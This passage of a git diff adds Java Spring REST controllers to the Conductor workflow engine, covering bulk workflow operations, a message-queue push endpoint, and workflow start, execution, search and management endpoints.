Monitors.error("error", "error"); + } + + return new ResponseEntity<>(toErrorResponse(exception), httpStatus); + } + + private ErrorResponse toErrorResponse(ValidationException ve) { + if (ve instanceof ConstraintViolationException) { + return constraintViolationExceptionToErrorResponse((ConstraintViolationException) ve); + } else { + ErrorResponse result = new ErrorResponse(); + result.setStatus(HttpStatus.INTERNAL_SERVER_ERROR.value()); + result.setMessage(ve.getMessage()); + result.setInstance(host); + return result; + } + } + + private ErrorResponse constraintViolationExceptionToErrorResponse( + ConstraintViolationException exception) { + ErrorResponse errorResponse = new ErrorResponse(); + errorResponse.setStatus(HttpStatus.BAD_REQUEST.value()); + errorResponse.setMessage("Validation failed, check below errors for detail."); + + List validationErrors = new ArrayList<>(); + + exception + .getConstraintViolations() + .forEach( + e -> + validationErrors.add( + new ValidationError( + getViolationPath(e), + e.getMessage(), + getViolationInvalidValue(e.getInvalidValue())))); + + errorResponse.setValidationErrors(validationErrors); + return errorResponse; + } + + private String getViolationPath(final ConstraintViolation violation) { + final String propertyPath = violation.getPropertyPath().toString(); + return !"".equals(propertyPath) ? propertyPath : ""; + } + + private String getViolationInvalidValue(final Object invalidValue) { + if (invalidValue == null) { + return null; + } + + if (invalidValue.getClass().isArray()) { + if (invalidValue instanceof Object[]) { + // not helpful to return object array, skip it. + return null; + } else if (invalidValue instanceof boolean[]) { + return Arrays.toString((boolean[]) invalidValue); + } else if (invalidValue instanceof byte[]) { + return Arrays.toString((byte[]) invalidValue); + } else if (invalidValue instanceof char[]) { + return Arrays.toString((char[]) invalidValue); + } else if (invalidValue instanceof double[]) { + return Arrays.toString((double[]) invalidValue); + } else if (invalidValue instanceof float[]) { + return Arrays.toString((float[]) invalidValue); + } else if (invalidValue instanceof int[]) { + return Arrays.toString((int[]) invalidValue); + } else if (invalidValue instanceof long[]) { + return Arrays.toString((long[]) invalidValue); + } else if (invalidValue instanceof short[]) { + return Arrays.toString((short[]) invalidValue); + } + } + + // It is only helpful to return invalid value of primitive types + if (invalidValue.getClass().getName().startsWith("java.lang.")) { + return invalidValue.toString(); + } + + return null; + } + + private void logException(HttpServletRequest request, ValidationException exception) { + LOGGER.error( + "Error {} url: '{}'", + exception.getClass().getSimpleName(), + request.getRequestURI(), + exception); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowBulkResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowBulkResource.java new file mode 100644 index 0000000..832e9d1 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowBulkResource.java @@ -0,0 +1,159 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.WorkflowBulkService; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.WORKFLOW_BULK; + +/** Synchronous Bulk APIs to process the workflows in batches */ +@RestController +@RequestMapping(WORKFLOW_BULK) +public class WorkflowBulkResource { + + private final WorkflowBulkService workflowBulkService; + + public WorkflowBulkResource(WorkflowBulkService workflowBulkService) { + this.workflowBulkService = workflowBulkService; + } + + /** + * Pause the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform pause operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + @PutMapping("/pause") + @Operation(summary = "Pause the list of workflows") + public BulkResponse pauseWorkflow(@RequestBody List workflowIds) { + return workflowBulkService.pauseWorkflow(workflowIds); + } + + /** + * Resume the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform resume operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + @PutMapping("/resume") + @Operation(summary = "Resume the list of workflows") + public BulkResponse resumeWorkflow(@RequestBody List workflowIds) { + return workflowBulkService.resumeWorkflow(workflowIds); + } + + /** + * Restart the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform restart operation on + * @param useLatestDefinitions if true, use latest workflow and task definitions upon restart + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + @PostMapping("/restart") + @Operation(summary = "Restart the list of completed workflow") + public BulkResponse restart( + @RequestBody List workflowIds, + @RequestParam(value = "useLatestDefinitions", defaultValue = "false", required = false) + boolean useLatestDefinitions) { + return workflowBulkService.restart(workflowIds, useLatestDefinitions); + } + + /** + * Retry the last failed task for each workflow from the list. + * + * @param workflowIds - list of workflow Ids to perform retry operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + @PostMapping("/retry") + @Operation(summary = "Retry the last failed task for each workflow from the list") + public BulkResponse retry(@RequestBody List workflowIds) { + return workflowBulkService.retry(workflowIds); + } + + /** + * Terminate workflows execution. + * + * @param workflowIds - list of workflow Ids to perform terminate operation on + * @param reason - description to be specified for the terminated workflow for future + * references. + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + @PostMapping("/terminate") + @Operation(summary = "Terminate workflows execution") + public BulkResponse terminate( + @RequestBody List workflowIds, + @RequestParam(value = "reason", required = false) String reason) { + return workflowBulkService.terminate(workflowIds, reason); + } + + /** + * Delete the list of workflows. + * + * @param workflowIds - list of workflow Ids to be deleted + * @return bulk reponse object containing a list of successfully deleted workflows + */ + @DeleteMapping("/remove") + public BulkResponse deleteWorkflow( + @RequestBody List workflowIds, + @RequestParam(value = "archiveWorkflow", defaultValue = "true", required = false) + boolean archiveWorkflow) { + return workflowBulkService.deleteWorkflow(workflowIds, archiveWorkflow); + } + + /** + * Terminate then delete the list of workflows. + * + * @param workflowIds - list of workflow Ids to be deleted + * @return bulk response object containing a list of successfully deleted workflows + */ + @DeleteMapping("/terminate-remove") + public BulkResponse terminateRemove( + @RequestBody List workflowIds, + @RequestParam(value = "archiveWorkflow", defaultValue = "true", required = false) + boolean archiveWorkflow, + @RequestParam(value = "reason", required = false) String reason) { + return workflowBulkService.terminateRemove(workflowIds, reason, archiveWorkflow); + } + + /** + * Search workflows for given list of workflows. + * + * @param workflowIds - list of workflow Ids to be searched + * @return bulk response object containing a list of workflows + */ + @PostMapping("/search") + public BulkResponse searchWorkflow( + @RequestBody List workflowIds, + @RequestParam(value = "includeTasks", defaultValue = "true", required = false) + boolean includeTasks) { + return workflowBulkService.searchWorkflow(workflowIds, includeTasks); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowMessageQueueResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowMessageQueueResource.java new file mode 100644 index 0000000..24003e8 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowMessageQueueResource.java @@ -0,0 +1,147 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.time.Instant; +import java.util.Map; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.WorkflowService; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.WORKFLOW; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; +import static org.springframework.http.MediaType.TEXT_PLAIN_VALUE; + +/** + * REST controller for the Workflow Message Queue (WMQ) push endpoint. + * + *

    Only registered when {@code conductor.workflow-message-queue.enabled=true}. When the feature + * is disabled this bean does not exist and the endpoint returns 404. + */ +@RestController +@RequestMapping(WORKFLOW) +@ConditionalOnProperty(name = "conductor.workflow-message-queue.enabled", havingValue = "true") +public class WorkflowMessageQueueResource { + + private static final Logger LOGGER = + LoggerFactory.getLogger(WorkflowMessageQueueResource.class); + + private final WorkflowService workflowService; + private final WorkflowMessageQueueDAO dao; + private final WorkflowExecutor workflowExecutor; + + public WorkflowMessageQueueResource( + WorkflowService workflowService, + WorkflowMessageQueueDAO dao, + WorkflowExecutor workflowExecutor) { + this.workflowService = workflowService; + this.dao = dao; + this.workflowExecutor = workflowExecutor; + } + + @PostMapping( + value = "/{workflowId}/messages", + consumes = APPLICATION_JSON_VALUE, + produces = TEXT_PLAIN_VALUE) + @Operation( + summary = "Push a message into a running workflow's message queue", + description = + "The workflow must be in RUNNING state. The message payload is arbitrary JSON. " + + "Returns the generated message ID. " + + "If a PULL_WORKFLOW_MESSAGES task is waiting, it will be woken up immediately.") + public ResponseEntity pushMessage( + @PathVariable("workflowId") String workflowId, + @RequestBody Map payload) { + + WorkflowModel workflow; + try { + workflow = workflowService.getWorkflowModel(workflowId, false); + } catch (NotFoundException e) { + return ResponseEntity.status(HttpStatus.NOT_FOUND) + .body("Workflow not found: " + workflowId); + } + + if (workflow.getStatus() != WorkflowModel.Status.RUNNING) { + return ResponseEntity.status(HttpStatus.CONFLICT) + .body( + "Workflow " + + workflowId + + " is not in RUNNING state (current: " + + workflow.getStatus() + + ")"); + } + + String messageId = UUID.randomUUID().toString(); + WorkflowMessage message = + new WorkflowMessage(messageId, workflowId, payload, Instant.now().toString()); + + try { + dao.push(workflowId, message); + } catch (IllegalStateException e) { + return ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body(e.getMessage()); + } + + // Re-validate workflow status after push to catch TOCTOU races where the workflow + // transitioned to a terminal state between the initial check and the push. + WorkflowModel postPushWorkflow; + try { + postPushWorkflow = workflowService.getWorkflowModel(workflowId, false); + } catch (NotFoundException e) { + dao.delete(workflowId); + return ResponseEntity.status(HttpStatus.NOT_FOUND) + .body("Workflow not found after push: " + workflowId); + } + if (postPushWorkflow.getStatus() != WorkflowModel.Status.RUNNING) { + dao.delete(workflowId); + return ResponseEntity.status(HttpStatus.CONFLICT) + .body( + "Workflow " + + workflowId + + " transitioned out of RUNNING state during push (current: " + + postPushWorkflow.getStatus() + + ")"); + } + + // Trigger an immediate workflow evaluation so a waiting PULL_WORKFLOW_MESSAGES + // task can be woken up without waiting for the next poll cycle. + try { + workflowExecutor.decide(workflowId); + } catch (Exception e) { + LOGGER.warn( + "Failed to trigger decide() for workflowId={}; sweeper will pick it up", + workflowId, + e); + } + + return ResponseEntity.ok(messageId); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowResource.java new file mode 100644 index 0000000..396ceab --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowResource.java @@ -0,0 +1,576 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.UUID; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.model.SignalResponse; +import org.conductoross.conductor.model.WorkflowSignalReturnStrategy; +import org.conductoross.conductor.model.WorkflowStatus; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.*; +import com.netflix.conductor.core.execution.NotificationResult; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.WorkflowService; +import com.netflix.conductor.service.WorkflowTestService; + +import io.swagger.v3.oas.annotations.Operation; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import reactor.core.publisher.Flux; +import reactor.core.publisher.Mono; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.WORKFLOW; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; +import static org.springframework.http.MediaType.TEXT_PLAIN_VALUE; + +@RestController +@RequestMapping(WORKFLOW) +@Slf4j +public class WorkflowResource { + + private final WorkflowService workflowService; + + private final WorkflowTestService workflowTestService; + + public WorkflowResource( + WorkflowService workflowService, WorkflowTestService workflowTestService) { + this.workflowService = workflowService; + this.workflowTestService = workflowTestService; + } + + @PostMapping(produces = TEXT_PLAIN_VALUE) + @Operation( + summary = + "Start a new workflow with StartWorkflowRequest, which allows task to be executed in a domain") + public String startWorkflow(@RequestBody StartWorkflowRequest request) { + return workflowService.startWorkflow(request); + } + + @PostMapping(value = "/{name}", produces = TEXT_PLAIN_VALUE) + @Operation( + summary = + "Start a new workflow. Returns the ID of the workflow instance that can be later used for tracking") + public String startWorkflow( + @PathVariable("name") String name, + @RequestParam(value = "version", required = false) Integer version, + @RequestParam(value = "correlationId", required = false) String correlationId, + @RequestParam(value = "priority", defaultValue = "0", required = false) int priority, + @RequestBody Map input) { + return workflowService.startWorkflow(name, version, correlationId, priority, input); + } + + @SneakyThrows + @PostMapping(value = "execute/{name}/{version}", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Execute a workflow synchronously") + public Mono executeWorkflow( + @PathVariable("name") String name, + @PathVariable(value = "version", required = false) Integer version, + @RequestParam(value = "requestId", required = false) String requestId, + @RequestParam(value = "waitUntilTaskRef", required = false) String waitUntilTaskRef, + @RequestParam(value = "waitForSeconds", required = false, defaultValue = "10") + Integer waitForSeconds, + @RequestParam(value = "consistency", required = false, defaultValue = "DURABLE") + String workflowConsistency, + @RequestParam( + value = "returnStrategy", + required = false, + defaultValue = "TARGET_WORKFLOW") + WorkflowSignalReturnStrategy returnStrategy, + @RequestBody StartWorkflowRequest request) { + + if (version == 0) { + version = null; + } + + waitForSeconds = Optional.ofNullable(waitForSeconds).filter(w -> w != 0).orElse(10); + + if (StringUtils.isBlank(requestId)) { + requestId = UUID.randomUUID().toString(); + } + + if (request.getWorkflowDef() != null + && request.getWorkflowDef().getTasks() != null + && !request.getWorkflowDef().getTasks().isEmpty()) { + markAsDynamicWorkflow(request.getInput()); + } + + request.setName(name); + request.setVersion(version); + + String workflowId = workflowService.startWorkflow(request); + String workflowRequestId = requestId; + + // Parse comma-separated task refs + String[] taskRefs = + StringUtils.isNotBlank(waitUntilTaskRef) + ? waitUntilTaskRef.split(",") + : new String[0]; + + // Poll every 100ms using Flux.interval + return Flux.interval(Duration.ofMillis(100)) + .map(tick -> workflowService.getWorkflowModel(workflowId, true)) + .filter( + workflow -> { + // Check if workflow is terminal + if (workflow.getStatus().isTerminal()) { + return true; + } + + // Check recursively for blocking tasks in the workflow and all + // sub-workflows + BlockingTaskResult blockingResult = + findBlockingTasks(workflow, taskRefs); + return blockingResult.hasBlockingTasks(); + }) + .next() // Take the first matching workflow + .map( + workflow -> { + // Find blocking tasks and blocking workflow recursively + BlockingTaskResult blockingResult = + findBlockingTasks(workflow, taskRefs); + + // Create NotificationResult and return response based on strategy + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(workflow) + .blockingWorkflow( + blockingResult.blockingWorkflow != null + ? blockingResult.blockingWorkflow + : workflow) + .blockingTasks(blockingResult.blockingTasks) + .build(); + + return result.toResponse(returnStrategy, workflowRequestId); + }) + .timeout( + Duration.ofSeconds(waitForSeconds), + Mono.defer( + () -> { + log.info("Execution timed out for {}", workflowId); + // Timeout reached, return current state + var workflow = + workflowService.getWorkflowModel(workflowId, true); + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(workflow) + .blockingWorkflow(workflow) + .blockingTasks(new ArrayList<>()) + .build(); + return Mono.just( + result.toResponse(returnStrategy, workflowRequestId)); + })); + } + + @GetMapping("/{name}/correlated/{correlationId}") + @Operation(summary = "Lists workflows for the given correlation id") + public List getWorkflows( + @PathVariable("name") String name, + @PathVariable("correlationId") String correlationId, + @RequestParam(value = "includeClosed", defaultValue = "false", required = false) + boolean includeClosed, + @RequestParam(value = "includeTasks", defaultValue = "false", required = false) + boolean includeTasks) { + return workflowService.getWorkflows(name, correlationId, includeClosed, includeTasks); + } + + @GetMapping("/{workflowId}/tasks") + @Operation(summary = "Gets the workflow tasks by workflow (execution) id") + public SearchResult getExecutionStatusTaskList( + @PathVariable("workflowId") String workflowId, + final @RequestParam(value = "start", defaultValue = "0", required = false) Integer + start, + final @RequestParam(value = "count", defaultValue = "15", required = false) Integer + count, + final @RequestParam(value = "status", required = false) List status) { + Workflow workflow = workflowService.getExecutionStatus(workflowId, true); + + List workflowFilteredTasks = workflow.getTasks(); + if (status != null && !status.isEmpty()) { + workflowFilteredTasks = + workflow.getTasks().stream() + .filter( + t -> + status.stream() + .map(String::toUpperCase) + .anyMatch(s -> t.getStatus().name().equals(s))) + .collect(Collectors.toList()); + } + + int totalHits = workflowFilteredTasks.size(); + int fromIndex = Math.min(start, totalHits); + int toIndex = Math.min(start + count, totalHits); + List requestedSubList = workflowFilteredTasks.subList(fromIndex, toIndex); + return new SearchResult<>(totalHits, requestedSubList); + } + + @PostMapping(value = "/{name}/correlated") + @Operation(summary = "Lists workflows for the given correlation id list") + public Map> getWorkflows( + @PathVariable("name") String name, + @RequestParam(value = "includeClosed", defaultValue = "false", required = false) + boolean includeClosed, + @RequestParam(value = "includeTasks", defaultValue = "false", required = false) + boolean includeTasks, + @RequestBody List correlationIds) { + return workflowService.getWorkflows(name, includeClosed, includeTasks, correlationIds); + } + + @GetMapping("/{workflowId}") + @Operation(summary = "Gets the workflow by workflow id") + public Workflow getExecutionStatus( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "includeTasks", defaultValue = "true", required = false) + boolean includeTasks) { + return workflowService.getExecutionStatus(workflowId, includeTasks); + } + + @GetMapping("/{workflowId}/status") + @Operation(summary = "Gets the workflow status summary by workflow (execution) id") + public WorkflowStatus getWorkflowStatusSummary( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "includeOutput", defaultValue = "false", required = false) + boolean includeOutput, + @RequestParam(value = "includeVariables", defaultValue = "false", required = false) + boolean includeVariables) { + Workflow workflow = workflowService.getExecutionStatus(workflowId, false); + return new WorkflowStatus(workflow, includeOutput, includeVariables); + } + + @DeleteMapping("/{workflowId}/remove") + @Operation(summary = "Removes the workflow from the system") + public void delete( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "archiveWorkflow", defaultValue = "true", required = false) + boolean archiveWorkflow) { + workflowService.deleteWorkflow(workflowId, archiveWorkflow); + } + + @GetMapping("/running/{name}") + @Operation(summary = "Retrieve all the running workflows") + public List getRunningWorkflow( + @PathVariable("name") String workflowName, + @RequestParam(value = "version", defaultValue = "1", required = false) int version, + @RequestParam(value = "startTime", required = false) Long startTime, + @RequestParam(value = "endTime", required = false) Long endTime) { + return workflowService.getRunningWorkflows(workflowName, version, startTime, endTime); + } + + @PutMapping("/decide/{workflowId}") + @Operation(summary = "Starts the decision task for a workflow") + public void decide(@PathVariable("workflowId") String workflowId) { + workflowService.decideWorkflow(workflowId); + } + + @PutMapping("/{workflowId}/pause") + @Operation(summary = "Pauses the workflow") + public void pauseWorkflow(@PathVariable("workflowId") String workflowId) { + workflowService.pauseWorkflow(workflowId); + } + + @PutMapping("/{workflowId}/resume") + @Operation(summary = "Resumes the workflow") + public void resumeWorkflow(@PathVariable("workflowId") String workflowId) { + workflowService.resumeWorkflow(workflowId); + } + + @PutMapping("/{workflowId}/skiptask/{taskReferenceName}") + @Operation(summary = "Skips a given task from a current running workflow") + public void skipTaskFromWorkflow( + @PathVariable("workflowId") String workflowId, + @PathVariable("taskReferenceName") String taskReferenceName, + SkipTaskRequest skipTaskRequest) { + workflowService.skipTaskFromWorkflow(workflowId, taskReferenceName, skipTaskRequest); + } + + @PostMapping(value = "/{workflowId}/rerun", produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Reruns the workflow from a specific task") + public String rerun( + @PathVariable("workflowId") String workflowId, + @RequestBody RerunWorkflowRequest request) { + return workflowService.rerunWorkflow(workflowId, request); + } + + @PostMapping("/{workflowId}/restart") + @Operation(summary = "Restarts a completed workflow") + @ResponseStatus( + value = HttpStatus.NO_CONTENT) // for backwards compatibility with 2.x client which + // expects a 204 for this request + public void restart( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "useLatestDefinitions", defaultValue = "false", required = false) + boolean useLatestDefinitions) { + workflowService.restartWorkflow(workflowId, useLatestDefinitions); + } + + @PostMapping("/{workflowId}/retry") + @Operation(summary = "Retries the last failed task") + @ResponseStatus( + value = HttpStatus.NO_CONTENT) // for backwards compatibility with 2.x client which + // expects a 204 for this request + public void retry( + @PathVariable("workflowId") String workflowId, + @RequestParam( + value = "resumeSubworkflowTasks", + defaultValue = "false", + required = false) + boolean resumeSubworkflowTasks) { + workflowService.retryWorkflow(workflowId, resumeSubworkflowTasks); + } + + @PostMapping("/{workflowId}/resetcallbacks") + @Operation(summary = "Resets callback times of all non-terminal SIMPLE tasks to 0") + @ResponseStatus( + value = HttpStatus.NO_CONTENT) // for backwards compatibility with 2.x client which + // expects a 204 for this request + public void resetWorkflow(@PathVariable("workflowId") String workflowId) { + workflowService.resetWorkflow(workflowId); + } + + @DeleteMapping("/{workflowId}") + @Operation(summary = "Terminate workflow execution") + public void terminate( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "reason", required = false) String reason) { + workflowService.terminateWorkflow(workflowId, reason); + } + + @DeleteMapping("/{workflowId}/terminate-remove") + @Operation(summary = "Terminate workflow execution and remove the workflow from the system") + public void terminateRemove( + @PathVariable("workflowId") String workflowId, + @RequestParam(value = "reason", required = false) String reason, + @RequestParam(value = "archiveWorkflow", defaultValue = "true", required = false) + boolean archiveWorkflow) { + workflowService.terminateRemove(workflowId, reason, archiveWorkflow); + } + + @Operation( + summary = "Search for workflows based on payload and other parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC.") + @GetMapping(value = "/search") + public SearchResult search( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query, + @RequestParam(value = "classifier", required = false) String classifier) { + return workflowService.searchWorkflows( + start, size, sort, freeText, withClassifierFilter(query, classifier)); + } + + @Operation( + summary = "Search for workflows based on payload and other parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC.") + @GetMapping(value = "/search-v2") + public SearchResult searchV2( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query, + @RequestParam(value = "classifier", required = false) String classifier) { + return workflowService.searchWorkflowsV2( + start, size, sort, freeText, withClassifierFilter(query, classifier)); + } + + /** + * Folds an optional classifier filter (comma-separated values, e.g. {@code agent} or {@code + * agent,workflow}) into the structured search query as a {@code classifier IN (...)} clause. + * This keeps the IndexDAO contract unchanged: every index backend that understands the {@code + * classifier} field in a query string automatically supports the request parameter. + */ + private static String withClassifierFilter(String query, String classifier) { + if (classifier == null || classifier.isBlank()) { + return query; + } + String values = + Arrays.stream(classifier.split(",")) + .map(String::trim) + .filter(s -> !s.isEmpty()) + .collect(Collectors.joining(",")); + if (values.isEmpty()) { + return query; + } + String clause = "classifier IN (" + values + ")"; + return (query == null || query.isBlank()) ? clause : query + " AND " + clause; + } + + @Operation( + summary = "Search for workflows based on task parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC") + @GetMapping(value = "/search-by-tasks") + public SearchResult searchWorkflowsByTasks( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query) { + return workflowService.searchWorkflowsByTasks(start, size, sort, freeText, query); + } + + @Operation( + summary = "Search for workflows based on task parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC") + @GetMapping(value = "/search-by-tasks-v2") + public SearchResult searchWorkflowsByTasksV2( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query) { + return workflowService.searchWorkflowsByTasksV2(start, size, sort, freeText, query); + } + + @Operation( + summary = + "Get the uri and path of the external storage where the workflow payload is to be stored") + @GetMapping({"/externalstoragelocation", "external-storage-location"}) + public ExternalStorageLocation getExternalStorageLocation( + @RequestParam("path") String path, + @RequestParam("operation") String operation, + @RequestParam("payloadType") String payloadType) { + return workflowService.getExternalStorageLocation(path, operation, payloadType); + } + + @PostMapping(value = "test", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Test workflow execution using mock data") + public Workflow testWorkflow(@RequestBody WorkflowTestRequest request) { + return workflowTestService.testWorkflow(request); + } + + private static void markAsDynamicWorkflow(Map workflowInput) { + String systemMetadataKey = "_systemMetadata"; + Map systemMetadata; + + if (workflowInput.containsKey(systemMetadataKey)) { + systemMetadata = (Map) workflowInput.get(systemMetadataKey); + } else { + systemMetadata = new HashMap<>(); + } + + systemMetadata.put("dynamic", true); + workflowInput.put(systemMetadataKey, systemMetadata); + } + + /** + * Recursively finds blocking tasks in the workflow and all its sub-workflows. A blocking task + * is: 1. A WAIT task that is not in terminal state 2. A task matching waitUntilTaskRef that is + * in terminal state + * + * @param workflow The workflow to search + * @param taskRefs Array of task reference names to wait for + * @return BlockingTaskResult containing blocking tasks and the workflow where they were found + */ + private BlockingTaskResult findBlockingTasks(WorkflowModel workflow, String[] taskRefs) { + List blockingTasks = new ArrayList<>(); + WorkflowModel blockingWorkflow = null; + + // Check tasks in the current workflow + for (TaskModel task : workflow.getTasks()) { + // Check for WAIT tasks that are not terminal (actively waiting) + if (TaskType.TASK_TYPE_WAIT.equals(task.getTaskType()) + && !task.getStatus().isTerminal() + && task.getWaitTimeout() == 0) { + blockingTasks.add(task); + if (blockingWorkflow == null) { + blockingWorkflow = workflow; + } + } + + // Check if this task matches any of the specified task refs and is terminal + for (String taskRef : taskRefs) { + String trimmedRef = taskRef.trim(); + if (trimmedRef.equals(task.getReferenceTaskName()) + && task.getStatus().isTerminal()) { + blockingTasks.add(task); + if (blockingWorkflow == null) { + blockingWorkflow = workflow; + } + } + } + + // If this is a SUB_WORKFLOW task, recursively check the sub-workflow + if (TaskType.TASK_TYPE_SUB_WORKFLOW.equals(task.getTaskType()) + && StringUtils.isNotBlank(task.getSubWorkflowId()) + && !task.getStatus().isTerminal()) { + try { + WorkflowModel subWorkflow = + workflowService.getWorkflowModel(task.getSubWorkflowId(), true); + BlockingTaskResult subResult = findBlockingTasks(subWorkflow, taskRefs); + if (subResult.hasBlockingTasks()) { + blockingTasks.addAll(subResult.blockingTasks); + if (blockingWorkflow == null) { + blockingWorkflow = subResult.blockingWorkflow; + } + } + } catch (Exception e) { + // If 